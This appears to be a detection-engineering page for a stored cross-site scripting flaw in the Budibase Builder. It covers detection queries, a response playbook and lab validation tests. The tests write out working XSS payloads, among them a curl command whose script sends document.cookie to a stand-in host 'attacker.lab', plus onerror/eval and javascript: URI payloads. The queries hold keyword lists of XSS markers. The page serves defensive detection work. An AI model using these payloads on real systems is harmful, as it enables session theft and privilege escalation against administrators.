Skip to content
CVE-2026-122244 Elastic Security · Elastic

Detect Budibase Builder Cross-privilege Stored XSS via jsonFormatter in {@html} (CVE-2026-122244) in Elastic Security

Detects exploitation and presence of CVE-2026-122244, a cross-privilege stored XSS in the Budibase Builder. The `jsonFormatter.format()` helper in @budibase/server <= 3.38.1 performs broken HTML-escaping; its output is rendered via Svelte's `{@html}` directive in the Builder origin, which ships without a Content-Security-Policy. A lower-privileged tenant user can store JSON data (e.g. automation/table/datasource values) containing HTML/script markup that, when a higher-privileged Builder/admin views the formatted JSON, executes in the CSP-less Builder origin, enabling session theft, API-key exfiltration, and privilege escalation. This detection surfaces XSS payloads being stored through Budibase server APIs, anomalous Builder-origin responses containing unescaped markup, and outbound beaconing from admin browser sessions following Builder JSON rendering.

Based on Budibase Security Advisory GHSA-r2q3-7m4h-63qg

MITRE ATT&CK

Tactic
Initial Access Privilege Escalation Stealth

Elastic Detection Query

Elastic Security (Elastic)
eql
// df00tech DF00-589dbf81eb · https://df00tech.com/detections/CVE-2026-122244 · licence: https://df00tech.com/detections/licence
network where event.category == "network" and
  (url.path like "*/api/*" or url.path like "*/builder*" or url.path like "*/global*") and
  http.request.method in ("POST","PUT","PATCH") and
  (http.request.body.content like~ "*<script*" or
   http.request.body.content like~ "*onerror=*" or
   http.request.body.content like~ "*<svg*" or
   http.request.body.content like~ "*javascript:*" or
   http.request.body.content like~ "*document.cookie*" or
   http.request.body.content like~ "*<iframe*")
high severity medium confidence

Matches write requests to Budibase endpoints whose HTTP body contains XSS markup, using Elastic ECS HTTP fields.

Data Sources

Packetbeat HTTPFilebeat Web Logs

Required Tables

packetbeat-*filebeat-*

False Positives & Tuning

  • Legitimate storage of HTML-containing JSON data by Budibase app builders.
  • Penetration testing or vulnerability-scanning traffic.
  • Body content truncated/encoded by the collector producing partial matches.

Other platforms for CVE-2026-122244


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.

  1. Test 1 Store script-tag XSS payload in Budibase JSON field

    Expected signal: Web/proxy POST log to /api/metadata containing <script> and document.cookie markup.

  2. Test 2 Store img onerror handler payload

    Expected signal: Web log PUT to /api/datasources with onerror= and eval() markup.

  3. Test 3 Store svg-based JavaScript URI payload

    Expected signal: Web log POST to /api/automations containing <svg> and javascript: markup.


Response Playbook

Triage

  1. Identify the targeted Budibase deployment and confirm its version; versions <= 3.38.1 of @budibase/server are vulnerable. Patched in v3.50.0 and v4.0.0.
  2. Review the flagged request: determine which tenant/user stored the payload and which JSON-bearing object (automation step, table row, datasource config, metadata) it landed in.
  3. Determine whether a higher-privileged Builder/admin subsequently opened the view that renders the stored JSON via `{@html}`, which is the point of execution.
  4. Inspect the stored payload for session/cookie theft, API-key exfiltration, or privileged API calls (e.g. user-role changes) issued from the Builder origin.

Containment

  1. Upgrade @budibase/server to v3.50.0 or v4.0.0 (contains fix commit 5f37fb43728639c540cc7233283f1100e9315424), or apply the vendor patch to jsonFormatter escaping.
  2. Revoke and rotate Builder/admin sessions and any API keys that could have been exposed in the CSP-less Builder origin; invalidate affected JWTs.
  3. Quarantine or sanitize the stored malicious JSON records to prevent re-execution when admins revisit the Builder view.

Evidence Collection

  1. Preserve web/proxy logs showing the storing request (source IP, user, endpoint, payload) and the subsequent admin Builder access.
  2. Export the affected Budibase database records containing the stored JSON payload and capture the rendered Builder HTML response.

Escalation Criteria

  • !Escalate to incident response if admin session cookies or API keys show evidence of exfiltration or reuse from an unexpected IP.
  • !Escalate if the payload performed privileged actions (role elevation, new admin creation, datasource credential access) indicating successful cross-privilege compromise.

Investigation Guide

Forensic Artifacts

  • >Budibase database records (automations, tables, datasources, metadata) containing unescaped HTML/script in JSON fields.
  • >Web/proxy access logs correlating the payload-storing request with later admin Builder page loads.
  • >Browser/network telemetry of outbound requests from admin sessions to attacker-controlled hosts after Builder JSON rendering.

Tuning Guidance

Baseline which Budibase JSON fields legitimately accept HTML content in your environment and allowlist those endpoints/users to cut noise. Narrow the regex to strong indicators (document.cookie, javascript:, <script> with event handlers) if CMS-style data causes excessive hits. Correlate storing requests with subsequent admin/Builder page views to prioritize true cross-privilege exploitation over benign HTML storage.


Hunting Queries

Hunt for stored XSS payloads containing cookie-theft or script markup submitted to Budibase API endpoints.

Hunting — KQL
kql
// df00tech DF00-589dbf81eb · https://df00tech.com/detections/CVE-2026-122244 · licence: https://df00tech.com/detections/licence
W3CIISLog | where CsUriStem has "/api/" and CsMethod in ("POST","PUT","PATCH") | extend b=url_decode(tostring(CsUriQuery)) | where b has_any ("document.cookie","<script","onerror=","fetch(") | project TimeGenerated, ClientIP, CsUriStem, b
Hunting — SPL
spl
``` df00tech DF00-589dbf81eb · https://df00tech.com/detections/CVE-2026-122244 · licence: https://df00tech.com/detections/licence ```
index=web sourcetype=iis (method=POST OR method=PUT OR method=PATCH) uri_path="*/api/*" | eval d=urldecode(uri_query) | where match(d,"(?i)(document\.cookie|<script|onerror=|fetch\()") | table _time src_ip user uri_path d

Atomic Red Team Tests

Test 1 Store script-tag XSS payload in Budibase JSON field
linux

Submits a JSON document containing a <script> payload to a Budibase API endpoint to simulate a lower-privileged user planting a stored XSS.

Command

bash
curl -s -X POST "http://budibase.lab.local/api/metadata/type/doc" -H 'Content-Type: application/json' -H "x-budibase-app-id: app_lab" -d '{"name":"<script>fetch(\"http://attacker.lab/c?\"+document.cookie)</script>"}'

Cleanup

bash
curl -s -X DELETE "http://budibase.lab.local/api/metadata/type/doc" -H "x-budibase-app-id: app_lab"

Expected Telemetry

Web/proxy POST log to /api/metadata containing <script> and document.cookie markup.

Expected Detection

KQL/SPL rules flag the POST request carrying XSS markup to a Budibase API endpoint.

Test 2 Store img onerror handler payload
linux

Plants an <img onerror> XSS payload in a Budibase datasource config JSON value.

Command

bash
curl -s -X PUT "http://budibase.lab.local/api/datasources/ds_lab" -H 'Content-Type: application/json' -d '{"config":{"note":"<img src=x onerror=eval(atob(\"YWxlcnQoMSk=\"))>"}}'

Cleanup

bash
curl -s -X PUT "http://budibase.lab.local/api/datasources/ds_lab" -H 'Content-Type: application/json' -d '{"config":{"note":""}}'

Expected Telemetry

Web log PUT to /api/datasources with onerror= and eval() markup.

Expected Detection

Detection flags onerror=/eval( markup in a Budibase write request.

Test 3 Store svg-based JavaScript URI payload
windows

Submits an <svg> payload using a javascript: URI to a Budibase automation step JSON field.

Command

powershell
powershell -c "Invoke-RestMethod -Method Post -Uri 'http://budibase.lab.local/api/automations' -ContentType 'application/json' -Body '{\"name\":\"<svg><a href=javascript:alert(document.domain)>x</a></svg>\"}'"

Cleanup

powershell
powershell -c "Invoke-RestMethod -Method Delete -Uri 'http://budibase.lab.local/api/automations/auto_lab'"

Expected Telemetry

Web log POST to /api/automations containing <svg> and javascript: markup.

Expected Detection

Detection flags <svg>/javascript: markup in a Budibase write request.

Related Detections